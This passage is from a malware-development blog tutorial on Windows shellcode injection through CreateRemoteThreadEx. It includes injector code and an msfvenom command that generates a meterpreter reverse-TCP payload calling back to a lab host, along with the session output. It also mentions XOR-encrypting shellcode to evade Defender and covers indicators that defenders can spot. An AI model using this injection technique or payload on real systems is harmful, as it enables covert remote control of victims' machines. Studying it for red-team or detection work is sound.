<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FDrx1u83GRiGB8IgWtstU%2Fimage.png?alt=media&#x26;token=d99e05de-a4fc-43af-b713-d2191910cb59" alt=""><figcaption><p><code>CreateRemoteThreadEx</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex">MSDN</a></p></figcaption></figure>

Now, I know. There are like 12 duovigintillion parameters for this function. However, fret not - most of them are going to be zero (`0`) or `NULL`. We know the drill by now, we'll fill out what we know, and then consult the documentation for what we don't know.

```c
hThread = CreateRemoteThreadEx(hProcess, ...)
```

The `lpThreadAttributes`, as we can see from the documentation, is just a pointer to the [`SECURITY_ATTRIBUTES`](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560\(v=vs.85\)) structure. This is just to specify a [security descriptor](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors) for the new thread; also determines if child processes can inherit the returned handle. If we set this to `NULL`, the thread will get a default `SD` (security descriptor) and the handle cannot be inherited.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fj10DNNyqGAqydpEdfuGL%2Fimage.png?alt=media&#x26;token=19462ae8-8dee-41fa-9e8e-753f70aeb317" alt=""><figcaption><p>Documentation for the <code>lpThreadAttributes</code> parameter</p></figcaption></figure>

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, ...)
```

For the `dwStackSize` argument, we can set it to `0` to let the thread use a default [stack size](https://learn.microsoft.com/en-us/windows/win32/procthread/thread-stack-size) for the executable.&#x20;

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, ...)
```

This next section is going to take a bit to explain, but it's pretty cool, nonetheless. So, I'll write out the code here, and then we can explain what's going on here.

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, ...)
```

Okay, just relax. I know your heart rate just quadrupled, and you can practically ski on the clumps of hair you've pulled out of your scalp from seeing this random line of code seemingly come from nowhere, but just relax. We'll figure this out. So, firstly, let's discuss the parameter itself, before delving into what we're supplying as an argument. Let's consult the documentation.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZZR8ZAEs6fDWGMKqIv7t%2Fimage.png?alt=media&#x26;token=6f0d686e-b52e-4466-ac5f-c534597aad90" alt=""><figcaption><p><code>lpStartAddress</code> parameter documentation</p></figcaption></figure>

This parameter is where we specify a pointer to the starting address of what we'd wish to run. We want execution to begin at the buffer that we've created, which at this point, would've had the contents of our shellcode written into it, and we typecast this buffer to the `LPTHREAD_START_ROUTINE` to match the signature of this parameter. For the next parameter (`lpParameter`), we can just set it to `NULL` since we don't have any variables that we're passing to the thread function (`lpStartAddress`).

{% code overflow="wrap" %}

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, ...)
```

{% endcode %}

The next section is the creation flags we'd wish to specify for our thread. `dwCreationFlags` could be any of these values:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FU7Wie0IR7et5hsMBw3LK%2Fimage.png?alt=media&#x26;token=57a01cab-6532-4999-9117-0d1b225e0726" alt=""><figcaption><p><code>dwCreationFlags</code> values</p></figcaption></figure>

We see that if we supply `0` here, the thread will run immediately after creation. The `CREATE_SUSPENDED` flag could also be a cool thing to mess around with, but that's left as an exercise for the reader. We'll supply `0` here since we want our thread to run immediately.

{% code overflow="wrap" %}

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, ...)
```

{% endcode %}

We only have 2 arguments left to supply, we're almost there! The second last parameter of this function, `lpAttributeList` contains additional parameters for the new thread. We don't really care about this for now, so we can just set this to zero (`0`):

{% code overflow="wrap" %}

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, ...)
```

{% endcode %}

And lastly, the final parameter (`lpThreadId`) is where we can set a pointer to the variable that will receive the thread ID (`TID`) of the newly created thread. So, let's set this to the `dwTID` variable we created when we defined `dwPID`.

{% code overflow="wrap" %}

```c
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &dwTID);
```

{% endcode %}

So, at this point, we could run our program, and we'll see that the program will inject into our target process, but because of the fact that we're using gibberish as shellcode, the program crashes:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FvJtcPWD14HQuQ8z1neth%2FRecording%202023-06-04%20at%2012.54.26.gif?alt=media&#x26;token=9154b8b6-8ab3-4335-9752-1f9dc47f8b7e" alt=""><figcaption><p>Invalid shellcode demo</p></figcaption></figure>

So, what we'll do here - is firstly, add in some more debugging lines for verbosity. Secondly, we'll generate some valid shellcode from `msfvenom` and try to perform the injection, for real.

```c
(snip ...)

    /* create a thread to run our payload */
    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &dwTID);
    
    if (hThread == NULL) {
        printf("%s failed to get a handle to the new thread, error: %ld", e, GetLastError());
        return EXIT_FAILURE;
    }
    
    printf("%s got a handle to the newly-created thread (%ld)\n\\---0x%p\n", k, dwTID, hProcess);

    printf("%s waiting for thread to finish executing\n", i);
    WaitForSingleObject(hThread, INFINITE);
    printf("%s thread finished executing, cleaning up\n", k);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    printf("%s finished, see you next time :>", k);

    return EXIT_SUCCESS;

}
```

The `WaitForSingleObject` and `CloseHandle` functions are also going to be left as an exercise for you to learn about. It will be really fun for you to seek out what these functions do and learn about them, they're pretty straightforward from the name, but regardless, for these two functions; you're on your own :wink:

## Generating Shellcode

I'll be using my Kali machine to generate the shellcode, literally doesn't matter what OS you use; we're only interested in one tool for now, `msfvenom`. You could create your own if you want. `PIC` shellcode has been pretty huge recently, but we're going to take the easy route for now, and just generate our own.&#x20;

{% hint style="danger" %}
`msfvenom`, it's shellcodes, stagers, all of that stuff; has been signature'd (and blasted) to high-oblivion - there are peaks on Mars that are smaller than how high this has been blasted by virtually every defensive solution out there. Meaning, that if you decide to use this shellcode without encrypting it, your payloads will get flagged by Defender during the compilation process - and the probability that your target flags it as well is considerably high. This is the reason for us setting an exclusion path, or turning off Defender. We'll be discussing ways to bypass Defender in the later sections, but for now, this is how we're doing it.
{% endhint %}

I did say I was going to generate `calc.exe` shellcode for our injections, but since this is our first time, let's live a little, eh? I'll run the following command:

{% code overflow="wrap" %}

```bash
cr0w@blackbird: ~
ζ ›› msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=443 -f c --var-name=crowPuke
```

{% endcode %}

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FprUnrEgV3eUuP6pSfzlt%2Fimage.png?alt=media&#x26;token=98d972e8-6931-4b44-a4ad-a494e5b5f66f" alt=""><figcaption><p>Shellcode generation with <code>msfvenom</code></p></figcaption></figure>

For the 100th time, remember to make the architecture of your shellcode match the architecture of your injection program. So, let's fix up our injection program with this as our payload, and after that, we'll set up the `multi/handler` listener needed to catch the callback for this reverse shell.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZaFTlkZGxAFUB2lofBZY%2Fimage.png?alt=media&#x26;token=57b51617-3452-446d-a378-50a3f04c8616" alt=""><figcaption><p>Setting up <code>multi/handler</code></p></figcaption></figure>

Now, we're all set to execute our program.

## Performing the Injection

We recompile the program, and after specifying a valid PID to our injector, we can see the results:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F3H06nw6nzqpaurTzIQ7t%2FRecording%202023-06-04%20at%2011.25.46.gif?alt=media&#x26;token=6642a22c-744a-4e46-8500-6fab5955e456" alt=""><figcaption><p>Mission accomplished!</p></figcaption></figure>

Furthermore, if we close the meterpreter session:

```bash
meterpreter > getuid
Server username: BAT-COMPUTER\Bruce
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.198.130 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(multi/handler) >
```

We can see that the `WaitForSingleObject` function we were using, successfully notes that our thread has finished executing!

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FEYDjipC61s9kcamJJ8vk%2Fimage.png?alt=media&#x26;token=70e6ea8d-e012-403a-8aa9-25c084e281b8" alt=""><figcaption><p>Beautiful</p></figcaption></figure>

Because we've got a reverse shell from our `notepad.exe` process, we'll see in the `Modules` tab within this amazing tool, Process Hacker 2:

{% embed url="<https://processhacker.sourceforge.io/downloads.php>" %}
Process Hacker 2 Download
{% endembed %}

There's an entry of some "networking"-related stuff in this process; which under normal circumstances, it would *never* do. This would be an insanely suspicious IOC (Indicator of Compromise), since why would Notepad ever need something like sockets or things to do with networking in it? If we look at the "Threads" tab within Process Hacker, we can see our newly created thread in the list:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FGdHlP2IPPlFl5BsYZ4Z0%2Fimage.png?alt=media&#x26;token=50a662f3-62ce-4d57-b12d-d91447744c43" alt=""><figcaption><p>Thread ID found in Process Hacker</p></figcaption></figure>

If we double-click on the one in Process Hacker, we can see some peculiar stuff on the thread stack:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fn9flbnv3pHuisrlw7FYb%2Fimage.png?alt=media&#x26;token=bf228b17-b98b-4a3e-9d5c-a9e3b51615ec" alt=""><figcaption><p>Thread stack showing presence of <code>ws2_32.dll</code></p></figcaption></figure>

Or, better yet, in the "Modules" section of the program, we can see this `ws2_32.dll` and `mswsock.dll` loaded into the modules:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FbMIANkYcN7BiytdovJrl%2Fimage.png?alt=media&#x26;token=d284a0ae-609c-4306-95d9-2a1a7719215b" alt=""><figcaption><p><code>ws2_32.dll</code> module loaded into process</p></figcaption></figure>

Now, what would a socket library be doing in our humble Notepad process? You can see this mentioned in one of the holiest resources for malware development:

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/process-injection>" %}
Addressing the `ws2_32.dll` and shellcode injection
{% endembed %}

And there you go! You've come such a long way and you've learned so much! Seriously, you should be proud of yourself for making it this far. We'll now discuss some common pitfalls that can prohibit you from emulating this attack. You can find the source code of this program attached below, or on the [GitHub repository](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/Shellcode%20Injection) that'll house all the code that we end up making in these blogs/videos.

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FNDGIjLZLVRnoTZsR6Ry7%2Fcrowinject.cpp?alt=media&token=c6397327-8735-4468-8bbf-3cc4792c8e12>" %}
Shellcode Injection source code
{% endfile %}

## Common Pitfalls

A [crazed lunatic](https://github.com/Lavender-exe) once messaged me; the message showed her following along with this guide and performing her own shellcode injection. "Yippie!", I thought to myself. But alas, the message continued, and with it, my plight:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fp5PYb2cq9JH9B9v5SdEd%2Fimage.png?alt=media&#x26;token=1591d580-e830-4b41-9a0a-c8978f66e5df" alt=""><figcaption><p>User obfuscated to spare you guys the sanity drain</p></figcaption></figure>

"Strange..." I pondered the state of her process's memory, which looked like it had been injected with the generated payload:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F3e0OYIX2q1Clt2JIzrAj%2Fimage.png?alt=media&#x26;token=2fa8addd-e2a0-4623-8c4f-900820fe0f15" alt=""><figcaption><p>Executing the injection, no process spawns</p></figcaption></figure>

A million different scenarios went through my head. "Could it be Defender?", "Could it be the payload?", "Could it be something to do with the build/version of Windows?", "Could it be the program itself?", etc. It turns out that she was using the same build of windows as me, so that's out of the question.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F9IH8IgGyoE3qsbg5FDyU%2Fimage.png?alt=media&#x26;token=87d0b716-3dfd-4f8a-aa6c-b1c7302126ba" alt=""><figcaption><p>Her <code>winver</code> output</p></figcaption></figure>

And even so, we're using higher-level API so the build and version shouldn't even matter. The source code wasn't the issue either since at one point she'd tried some code that I knew would work (super simple XOR encryption to bypass Defender). I gave her some code that had XOR-encrypted shellcode - since I wanted to test to see if it was an issue with Defender as well. Turns out, nope. Window's Defender wasn't even triggered during the compilation of the program, so that's out the window.&#x20;

Moreover, even with the XOR-encrypted shellcode, after the injection was run, there still wasn't a new process to show for it. So, eventually, we took a break. Then, at the time of writing this blog post, *April 30th, 2023*, I got yet another message about someone facing a similar issue. Their program, just *for the life of them*, would not spawn a new process; even though it seemingly did inject it into the target process's memory.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F4VFvcfqM0KaX7LiwXpkS%2Fimage.png?alt=media&#x26;token=2d6f9cea-fb52-4da7-8829-2c2592cc8d55" alt=""><figcaption><p>Another similar issue arose</p></figcaption></figure>

The user had told us that they were compiling with `gcc` like this:

```bash
gcc shellcodeinjection.cpp -o shellcodeinjection.exe
```

And because of this, I thought that maybe they were using wide API functions, i.e., `SomeFunctionW()` but failing to include the `-municode` flag for compilation. So, after consulting some amazing, amazing friends of mine, the culprit of architecture was brought to light.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fv0OWn8rkrF32kjc7Yju5%2Fimage.png?alt=media&#x26;token=000a66f5-7e25-4371-8c94-cabc4fdbcc49" alt=""><figcaption><p>Resolution speed-run. Also, hello k4ngar00: )</p></figcaption></figure>

It was at this very moment that my eyes opened up wider than they ever have. I could see individual fermions whizzing past my eyes, I could grab clouds, I could smell numbers, taste vision, etc. How could we forget this? It was so painfully obvious, you must compile your program for the architecture that you wish to target; and with this, your shellcode must follow the same harmony. Remember that `x86` shellcode `!= x86_64` shellcode. You also can't have your 32-bit program injecting into a 64-bit process. Anyways, we sent our newly-crested warrior out to compile their program as a 64-bit program and we patiently awaited their response.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FReJ2pYeQ2DnxYMQfT4Ze%2Fimage.png?alt=media&#x26;token=1a61b721-0ae5-4a48-b775-866b02738018" alt=""><figcaption><p>Mission accomplished.</p></figcaption></figure>

Perfection. We had finally conquered the bug that plagued us for so long, with nary a trail for us to even follow it. Congratulations, `l0n31yMC`. May the offensive security gods bless you on the rest of your trek.

#### TL;DR

{% hint style="warning" %}
If you're using the wide functions, make sure your compiler is taking care of that. Either specify some preprocessor symbols in your program like `_UNICODE/UNICODE` (Visual Studio/Code does this automatically), or specify a flag to do the same; for instance, with `gcc: gcc -municode ....`

Make sure you compile the program to be the same architecture that your target process is. I.e., if you've compiled a 32-bit binary, you can only inject 32-bit processes. Furthermore, make sure your payload/shellcode is also architecture-aware. If you're compiling a 64-bit binary, use 64-bit shellcode.
{% endhint %}

## Acknowledgements&#x20;

Thank you to the amazingly beautiful wizards, @[bakki ](https://twitter.com/shubakki)and aqua for helping debug this stupidly simple oversight. I love you guys. And remember guys, sometimes, the solution is far simpler than you think it is. See you in the next section. Also, thank you to everyone who's given me constructive criticism of the site as a whole, the code, the videos, etc.&#x20;

Again, at the time of *rewriting* this blog, June, 4th, 2023, it's only been about 3 months since I started my malware development journey. Therefore, there's obviously still an incredible amount of stuff that I don't know. [To wit](#user-content-fn-3)[^3], I appreciate all of you for being patient with my ignorance and teaching me new things to become better and better.&#x20;

## References

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list#system-services>" %}

{% embed url="<https://tbhaxor.com/createremotethread-process-injection/>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/process-injection>" %}

[^1]: It could be argued that DLL Injection *might* be easier, but it's "either/or" at this point. Although they do have some key differences, they're also very similar in their idea, and implementation. &#x20;

[^2]: Yeah, we all know that writing `0` and `1` would be more time-efficient. However, again, do whatever *you* want ¯\\\_(ツ)\_/¯

[^3]: Holy shit, imagine unironically saying "to wit"


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.crow.rip/nest/mal/dev/inject/shellcode-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
